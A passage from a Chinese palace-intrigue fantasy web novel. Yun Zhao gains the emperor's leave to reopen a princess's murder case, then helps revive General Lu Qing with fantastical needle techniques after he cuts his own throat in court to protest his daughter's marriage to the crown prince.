“不错。”皇帝答得干脆。
他就欣赏云昭这份不绕弯子的犀利!
这让他觉得与明白人说话,省时,也省力。
“朕与皇姐,自幼感情甚笃。朕实不愿因小辈之事,伤了我们姐弟情分。”
“陛下,恕臣直言。”云昭站起身,对着皇帝郑重一礼,“嘉乐郡主,是长公主殿下的心头肉,更是她的命根子。
臣虽侥幸,助殿下寻回小郡主遗骨,令她得以入土为安,但真凶至今逍遥法外。
郡主沉冤未雪,这始终是长公主殿下的一块心病。”
她抬眼,目光恳切而坚定:“陛下曾希望臣能与殿下一同查清宝华寺与妙音公主旧案。
奈何时隔久远,线索渺茫,臣虽竭尽全力,亦不敢向陛下打包票,定能水落石出。
但是嘉乐郡主遇害,距今不过三年!三年时间,或许还有线索甚至人证!
臣恳请陛下允准,让臣调集人手,彻查嘉乐郡主被害一案!
唯有找到真凶,将其明正典刑,方能真正告慰郡主亡灵,解开长公主殿下积郁多年的心结!”
皇帝闻言,身体微微前倾,眼中骤然迸发出锐利的光芒:
“你也觉得,那日南华郡主当众指控太子之事,背后另有隐情?”
云昭面色淡然:“臣只是就事论事。
若南华郡主当夜所言为真,那便意味着,她要么是亲眼目睹,要么听人说起,得知太子殿下便是凶手。
可若她明知太子殿下就是真凶,又怎会主动求嫁于一个**凶手?”
云昭嘴上这样说,心里却清如明镜:恐怕这正是南华郡主和太子打的主意。
想借此彻底洗清太子罪名,又能让世人淡忘南华郡主当日疯癫之举。
这二人,还真是天造地设的绝配。
云昭见皇帝面露满意之色,继续道:
“唯有查明嘉乐郡主一案真相,才能彻底洗刷太子殿下嫌疑,也能让南华郡主放下心结,与太子殿下夫妻和睦。
否则,即便陛下相信太子殿下清者自清,难保天下人不会以讹传讹。
流言蜚语一旦滋生,损害的不仅是太子清誉,更是天家颜面,陛下圣明。”
这一番话,简直说到了皇帝的心坎里!
他确实觉得太子不堪大位!
但太子毕竟是储君,代表皇家体面。
他绝不能容忍太子的德行有亏成,为天下人的谈资,那岂不是在打他这个君父的脸?
“说得好!”皇帝拊掌,脸上露出多日未见的舒展笑容,
“就依你所言!朕不是赐予你凤阕令了吗?
持此令牌,刑部、大理寺的卷宗库房你可自由出入,调阅一切与嘉乐郡主案相关的档案文书,亦可传唤相关人等问话。”
他看向萧启,“渊儿,你从旁协助,务必护云昭周全,为她扫清一切障碍!
你们尽管放开手脚去查!
朕倒要看看,究竟是何方狂徒,胆敢在天子脚下,戕害朕的亲外甥女!”
云昭肃然下拜,眼底闪过一抹异色:“微臣领旨。定不负陛下所托!”
第306章 刚烈风骨,深密城府
皇帝对今日这番谈话显然极为满意,心中一块大石仿佛落了地。
他又看向萧启:“渊儿怎么一直不说话。”
萧启闻声,抬眸平静道:
“陛下,臣方才在想,皇祖母仙逝的消息,宫中虽严密封锁,但恐怕……瞒不过姑母。”
提及太后,皇帝脸色也是一沉。
脸上那点轻松笑意瞬间消散,眉头再次锁紧。
他沉吟片刻,终是颓然一叹:“罢了……皇姐聪慧,此事迟早也瞒不住她。
今日,你便替朕走一趟长公主府,代朕探望,也好将实情婉转告知于她。”
他随即吩咐常玉:
“去内库,将前日高丽进贡的百年老山参,东海明珠,连同朕去年得的那个紫檀木嵌螺钿观音像一并取来。
再备些上好的血燕、阿胶、云缎、蜀锦。让云昭和渊儿带上,算是朕的一点心意。”
常玉躬身应是,快步退下安排。
云昭随着萧启起身谢恩,心中却暗自冷笑:这狗皇帝,真是算计到了骨子里。
既想用赐婚笼络安王府、制衡太子,又怕得罪手握实权、性情刚烈的长公主。
自己占了所有便宜,唱足了红脸!
这安抚人心、解释缘由、乃至告知太后死讯等等棘手又伤感情的活儿,倒是毫不客气地推给了她和萧启。
真是好一手“知人善任”!
不过,转念一想,这倒也正合她意。
她本就打算寻机去探望义母,如今奉旨前往,名正言顺。
而且,有些话,有些计划,也确实需要与义母当面商议。
离开清凉殿范围,坐上秦王的马车,车轮碾过宫道的青石板,发出规律的辘辘声。
车内焚着淡淡的苏合香,气息宁神。
云昭似是随意的开口,向着同车陪同的常玉问道:
“方才在殿内,我瞧见陛下腰间新佩了一块玉,形制古朴温润,似乎并非宫中常见样式,倒有几分山野清气。不知那块玉有何来历?”
常玉正襟危坐,闻言脸上堆起和善的笑意,眼角的皱纹都舒展了几分:“哟,云司主好眼力,对玉石也有研究?”
他心中明镜似的,云昭突然问起这个,绝非单纯对玉石感兴趣。
这位未来的秦王妃,心思深着呢!
不过,他常玉在宫中沉浮几十年,最懂得审时度势。
陛下如今对太子殿下态度微妙,又与皇后疏离多年,如今纵观整个后宫,能挑起大梁的皇子,一个也不见。
若能卖秦王一个人情,有益无害。
“说起来,那块玉还真有些来历。”常玉压低了声音,
“此玉名唤‘岫云沁’,是皇后娘娘自清凉寺祈福归来,特意带给陛下的。”
他绘声绘色地描述起来:“听皇后娘娘讲,前年夏天,清凉山一带突降百年不遇的暴雨。
引发山洪,冲垮了山脚下的清河堤坝,好几个村子眼看就要遭殃。
幸好当时在附近督办河工的谢韫玉谢大人,当机立断。
调动一切能调动的人手物资,亲自冒雨指挥抢险,硬是抢在洪峰到来前加固了堤防,疏散了百姓,可谓力挽狂澜。
说来也奇,洪水退去后,在清河下游一处被冲垮的古河道遗址里,发现了一块被淤泥包裹的巨石。”
“更奇的是,那巨石外表粗糙,内里却蕴藏着美玉,色泽如春水初融,又似云山雾罩,通透温润中,带着丝丝凉意。
当地百姓都说,是上天感念谢大人勤政爱民、救苦救难,降下的祥瑞。
谢大人不敢私藏,便将此玉璞敬献给了在清凉寺清修的皇后娘娘。
皇后娘娘见了这玉,极是喜爱。
便用了整整两年时间,亲手设计雕琢,才得了如今陛下佩戴的这枚‘岫云沁’玉佩。
取‘岫玉生烟,云沁君心’之意。
说是感念陛下仁政德泽,方有天降祥瑞,愿此玉常伴君侧,祈佑陛下安康,国运绵长。”
一直沉默聆听的萧启,此刻忽然开口:“谢韫玉谢大人?”
常玉笑容更深:“谢大人籍贯琅琊。
不仅是科举进士出身,为人更是清廉刚正,体恤民情,在地方上政声极佳。”
云昭与萧启的目光在空中短暂交汇,皆看到了对方眼中的了然。
又是琅琊谢氏!
云昭则若有所思。
之所以问及这块玉佩,是因为方才与皇帝在凉亭交谈时,云昭悄然开启玄瞳视界,清晰看到了玉佩源源不断流淌的功德清气!
她不敢妄下判断,皇帝周身龙气生机勃发,全然托赖这块玉石。
毕竟,能够涤清皇帝周身业力与怨念,使其周身龙气纯净通畅,那可需要一笔不小的功德清气!
但即便皇帝所获得的庞大功德、纯净气运另有渠道,这块玉也在个中起到了与之相辅相成的作用!
换句话说,问清这块玉的来源,也就能找到皇帝周身龙气发生巨大变化的原因!
然而,不等马车抵达长公主府所在的兴宁坊,疾驰的马车陡然一个急停!
拉车的骏马发出一声嘶鸣,车内三人身形俱是一晃。
紧接着,车外传来一阵急促的马蹄声。
以及熟悉的、带着惶急的呼喊:“殿下!云司主!
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留步——!
陛下急召!”
车帘被猛地掀开,露出常海那张一路疾驰而布满汗水的脸。
他显然是拼了命鞭马追赶,气息粗重不匀,连滚带爬地下了马,也顾不得礼仪,对着车内急声道:
“云司主,殿下,陛下有令,让您二位即刻掉头,速速回宫!有十万火急之事!”
萧启剑眉一挑,沉声问:“发生何事?如此慌张。”
常海用袖子胡乱抹了把汗,语速极快地说道:
“方才……陆老太爷让人一路抬着,直接到了宫门口。
以老病之躯,硬是让人搀着,一路跪行到了殿外!口口声声要面圣!”
常海喘了口气,脸上惊魂未定:
“陆老太爷当着陛下的面,老泪纵横,以头抢地。
说陆家世代深受皇恩,世世代代只知做陛下的纯臣、直臣、忠臣!
从未有过攀附储君、以外戚弄权之心!
他恳求陛下,收回赐婚太子与南华郡主的成命!
说如若不然……他陆家无颜面对陛下,更无颜面对列祖列宗!
情愿陛下即刻下旨,剥了安王陆擎的王爵与大将军职衔!
陆家全族愿退还所有御赐田宅,子弟尽数退出朝堂,归隐乡野,从此耕读传家,再不过问朝政!”
“陛下还未及表态,老太爷情绪过于激动,说完这番话,竟当场呕出一口鲜血,昏厥过去!御医正在抢救!”
说到这,常海的声音都有些发颤,
“安王当时就在殿内,见状目眦欲裂,情急之下,竟一把夺过殿前侍卫的佩刀,横在自己颈前!
嘶声说老爷子年事已高,他陆擎绝不敢抗旨!更不敢要挟陛下!
只求陛下念在老爷子一生忠耿的份上,恕其狂悖胡言之罪!
然后那刀就顺着脖子划过去了!殿内当时乱成一团!”
云昭听到这里,心中已是震动不已。
她万万没想到,安王府的人,竟有如此刚烈风骨,如此深密城府!
这父子二人,一个以死明志表纯臣之心,一个以死谢罪全忠孝两难,配合得天衣无缝,直接将了皇帝一军!
这番胆识、决断与急智,绝非寻常武将所能为。
常海接下来的话,字字如惊雷:
“安王当时一脖子鲜血,说既然陛下隆恩,赐婚陆氏女为太子妃!
陆家感激涕零,不敢再有任何异议。
但为了彻底断绝外界对陆家‘攀附东宫’的猜测,也为了向陛下表明陆家永为陛下臣子的决心——
他恳请陛下,下旨允他陆擎,与安王妃薛静姝——义绝!”
第307章 喜事变丧事?
踏进紫宸殿,浓重的血腥味扑面而来。
云昭脚步微顿,抬眼望去。
只见殿内地砖上,一道猩红血痕,从殿中央一路延伸到殿柱,触目惊心。
两名宫人正跪在地上擦拭,水盆里的清水已染成淡红。
陆擎躺在临时铺开的锦褥上,颈间缠着厚厚的白纱,但血色仍不断洇出,染红了半边肩膀。
他脸色灰败如纸,唇色尽失,唯有胸膛微弱的起伏证明他还活着。
邹太医跪在榻前,双手按住伤口两侧,额上冷汗如雨,官袍后背湿透一片。
他身侧散落着十数枚金针,针尖皆染红。
见云昭和章太医一同走近,他如见救星,声音发颤:
“下官已用金针封住‘天鼎’、‘人迎’二穴,又以‘逆流截脉’之法暂时阻了颈脉血涌。
可……可大将军那一刀实在太深,这血……止不住啊!”
章太医闻言,打开随身的药箱,开始为陆擎施针。
云昭则俯身朝陆擎看去。
陆擎生得剑眉浓黑,鼻梁高直,纵然昏迷中痛楚蹙眉,依旧能看出平日里的刚毅轮廓。
相书上谓“虎颈燕颔,将军之相”,指的就是陆擎这种长相。
且陆擎鼻梁高直如峰,山根丰隆连额,此乃长寿之相。
双耳高于眉,耳垂厚实,这是祖荫深厚、福泽绵长之兆。
更奇的是,此刻他印堂处虽暗淡,却有一丝若有若无的金线隐隐浮现——
这是大功德在身之人濒死时,天地灵气护体的征兆。
陆擎,命不该绝于此地,此番死劫,应有转圜之机。
“云昭,”皇帝的声音从御座方向传来,略显沙哑,“可能救回来?”
云昭抬眸看去。
这位素来威严的帝王此刻眼圈泛红,龙袍前襟沾染了几点血迹,应是陆擎溅上的。
他眼底有血丝,眼神里除了焦灼,还有一丝并不明显的悔愧。
“微臣定当尽力。”云昭垂下眼帘,并没有给出明确的答复。
她心中明镜一般:皇帝一心**平衡权术,以制衡朝堂、巩固皇权为第一要务。
他下旨赐婚陆倩波于太子,看似成全美事,实则是一步狠棋。
可他算尽了利益得失,却唯独漏算了人心。
他以为一道圣旨便能逼陆家站队,却忘了,陆家世代镇守边关,以血战换取“忠烈”之名。
他们将这份“清名”,看得比爵位、兵权更重。
与东宫联姻,在皇帝和太子眼中是荣耀、是筹码;
可在陆家父子看来,却是家族清名染上“攀附储君”、“外戚干政”污点的开始。
是将陆家从“天子利刃”变成“太子私兵”的堕落,是家族命运的彻底转向。
章太医抬眼,与云昭目光一触即分。
“章老施针稳准,逆流截脉之法,用的极是时候。”
云昭一边道,一边已从章太医手边的针囊,拈起一根三寸长的细毫金针。
她手腕疾沉,金针精准刺入陆擎头顶正中“百会穴”旁,一寸五分处的一个奇穴!
“百会旁开寸五?”邹太医失声低呼,脸色骤变,
“云司主,那是……那是‘神庭’异穴啊!
古籍有载,此穴深联脑络,主治癫狂失智、中风昏迷!
但下针险极,深浅毫厘之差,轻则使人神智昏聩,重则……重则生机立断啊!”
他看向皇帝,声音发颤,“陛下,此穴凶险万分,太医院历来列为慎用乃至禁穴!”
皇帝面色一凝,看向云昭。
章太医却头也不抬,苍老的声音带着一种看透生死的平静:
“人都快没了,计较这些还有什么用?
云司主下针之处,并非单纯‘神庭异穴’,而是‘神庭’与‘通天’二穴气血交汇之隙,所谓‘绝处逢生门’。”
此举倒转气血,令心脉残存一口先天元气,能上达灵台,护住神识不散。
手法虽险,却是眼下唯一能吊住陆擎性命根基的法子。
说话间,云昭手中另一根金针,已稳稳定入陆擎胸前“膻中穴”,缓缓捻动。
章太医见状,抬眸看了云昭一眼。
所谓外行看热闹,内行看门道。
云昭年纪轻轻,下针时指尖极稳,气贯针尖,透穴无声。
这手‘悬丝渡气’的功夫,他只在故去的太医令施展‘北斗还魂针’时,曾见过一次。
不想今日居然会在云昭手上,重新得见!
云昭与章太医一同出手,运阵如飞。
二人每一针落下,都仿佛带着千钧之力,却又举重若轻。
只见陆擎几处关乎性命根本的大穴上,都被金针深深刺入,直至没柄!
随即,章太医以特殊手法轻弹针尾,针身发出低沉嗡鸣。
这是太医署不传之秘——“镇元锁命针”,专用于吊住将绝之人的一线生机。
邹太医在一旁看得心惊肉跳,手心全是汗。
他想起姜府变故时,若非云昭出手相帮,自己当日恐怕就已身首异处。
在这深宫之中,平安无事时未必得赏,一旦贵人有所差池,最先被推出去顶罪乃至掉脑袋的,往往就是他们这些太医。
今日若陆擎真的救不回来……
他不敢深想!
云昭最后一步施针。
她示意内侍脱去陆擎的靴袜,露出双足。
在其右脚足心“涌泉穴”上方半寸,一个不起眼的凹陷处,再次落针。
此穴名为“地户”,与头顶“百会”(天门)相对,是人体沟通大地阴气、稳固神魂的隐秘门户。
一针落下,陆擎浑身微微一颤,灰败的脸上竟似隐隐透出一丝极淡的生气。
章太医见状,长舒一口气,他起身向皇帝躬身一礼:“陛下,血已暂止。
但颈脉重创,失血过多,颅内亦可能因气血逆冲受损。
能否醒来,何时能醒,醒来后是否有碍……皆需看天意了。”
皇帝沉默良久,终是点了点头。
就在这时,殿外传来双喜有些慌乱的声音:“哎呦,老国公,您慢着点,当心台阶……”
众人循声望去。
来的正是陆擎之父,陆震山,陆老国公。
只见老者年约六旬,身形清瘦,却挺拔如松,毫无寻常老人的佝偻之态。
遗憾的是,他左腿微跛,走路略显滞涩,呼吸间带着轻微的痰鸣之声,显然身患喘症。
云昭抬眼望去,心中暗惊。
这陆老国公面容清癯,皱纹如刀刻,一双眼睛却清亮如寒潭。
竟比经受大功德洗涤过周身龙气的皇帝,还要澄澈几分。
更奇异的是,他周身笼罩着一层常人看不见的淡淡金光——
老将军一生为国征战,守土安民,所积阴德深厚。
虽因杀伐不免带有煞气,但都被功德正气中和净化。
这样的人,寿终正寝后,神魂清明强韧,地府亦会礼遇。
若不愿像柳擎天那样,担任一方城隍土地之类的神职;
他日转世投胎,也必是福泽深厚、根骨清奇之辈。
陆震山走到殿中,推开双喜搀扶的手,向着御座方向,缓缓跪了下去:
“陛下,老臣教子无方,御前失仪,惊扰圣驾,罪该万死……”
皇帝看着这位曾是自己骑射师傅、也曾为自己稳固江山立下汗马功劳的老臣,心情复杂难言。
这桩婚事,他有自己的**考量。
但他确实没料到,陆家的反应会如此刚烈决绝,不惜以父子二人的性命为赌注,来表明态度。
就在皇帝心绪翻腾之际,一声凄婉的悲泣从殿门外传来。
“祖父!”只见陆倩波
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疾步闯入。
她今日穿着一身绯红色绣折枝海棠的云锦宫装,头上珠翠环绕,显然精心打扮过。
一进殿,她便扑通一声跪倒在陆震山面前:
“祖父!您别生气,千错万错都是孙女的错……”
紧随其后,薛静姝也快步进来。
她面色苍白却强作镇定,对着陆震山也跪了下去,声音带着哽咽与恳求:
“阿翁!您息怒,万万保重身子啊!一切都是儿媳的错!是儿媳思虑不周,擅自做主……”
陆震山缓慢向后退了半步,避开了陆倩波这一跪。
“老夫当不起。”他的声音平静无波,却带着千钧之力。
他目光落在陆倩波脸上。
眼神里有痛心,有失望,最终化为一片冷寂:
“你心中既有青云志,眼中只见东宫富贵,耳中只听你母亲安排……
从今往后,你便是薛家女娘,不是我陆家骨血。
我陆家诗礼传家,武将立身,没有这般汲汲营营、罔顾家族兴衰安危的子孙。”
陆倩波嘴唇哆嗦着,却一个字也说不出来。
这桩婚事,本就是她与母亲敲定之后,瞒着父亲和家族,向陛下求来的旨意。
她今日一大清早就盛装出门,坐在停靠宫门外的马车里,一心等待好消息。
原本见到太子与母亲一前一后出来,尤其看到太子脸上喜不自禁,她就知道,事情必定是成了!
却不想回家途中,突然被禁军拦路。
这才得知,祖父和父亲竟然一状告到御前,先是恳求陛下收回成命,眼见不成,父亲居然还当众自刎了!
这简直是将她架在火上烤!
父亲今日若真有个三长两短,她和太子岂不要喜事变丧事?
更别提往后世人会如何看待母亲与她!
陆倩波生性刁蛮,却不是心志坚毅之辈。
一想到父亲可能因为自己的执拗当堂惨死,想到往后要被人戳着脊梁骨议论今日之事,她就吓得软在地上直不起身!
薛静姝猛地伸手,用力摁住女儿的后脑勺,迫使她向陆震山磕头,一边疾声道:
“阿翁息怒!一切都是儿媳的错!
是儿媳爱女心切,见她与太子殿下两情相悦,不忍她受相思之苦,才斗胆恳求陛下成全!
倩波她平日最是崇敬您这位祖父,常以您的事迹激励自己。
她只是太年轻,不懂其中利害!
求阿翁莫要说这般绝情之言,伤了孩子的心,也伤了您与夫君的父子之情啊!”
她话语急促,泪如雨下,一副“为女痴狂”的凄楚模样。
“伤了她的心?”陆震山重复着。
他目光缓缓扫过薛静姝,又落在陆倩波那张写满委屈与不甘的脸上。
“薛氏!你口口声声爱女心切,那你可曾想过,你擅自求来的这道恩旨,将我陆家百年清名置于何地?
将我陆氏全族上下几百口人的性命前程,置于何地?
子女婚姻,乃结两姓之好,关乎家族兴衰。
一不问父母高堂,二不请宗族耆老,反倒仗着陛下仁厚、皇后慈心,便敢私相授受,先斩后奏!
你眼中,可还有陆氏门楣?可还有我陆氏列祖列宗!”
此言如惊雷炸响,殿内一片死寂。
薛静姝的哭声戛然而止,脸色变幻。
云昭站在一旁,清晰看到薛静姝在陆震山斥责时,目光飞快扫过一旁陆擎所在。
云昭从薛静姝眼底深处,捕捉到一抹孤注一掷的决绝。
看来,薛静姝今日,是打算破釜沉舟,押上所有筹码,只为女儿赌一个太子妃之位:
她在赌皇帝更看重太子联姻带来的利益;
赌陆擎今日会死在当场,挺不过来;
更在赌陆老爷子年迈力衰,拗不过圣意,最终不得不妥协。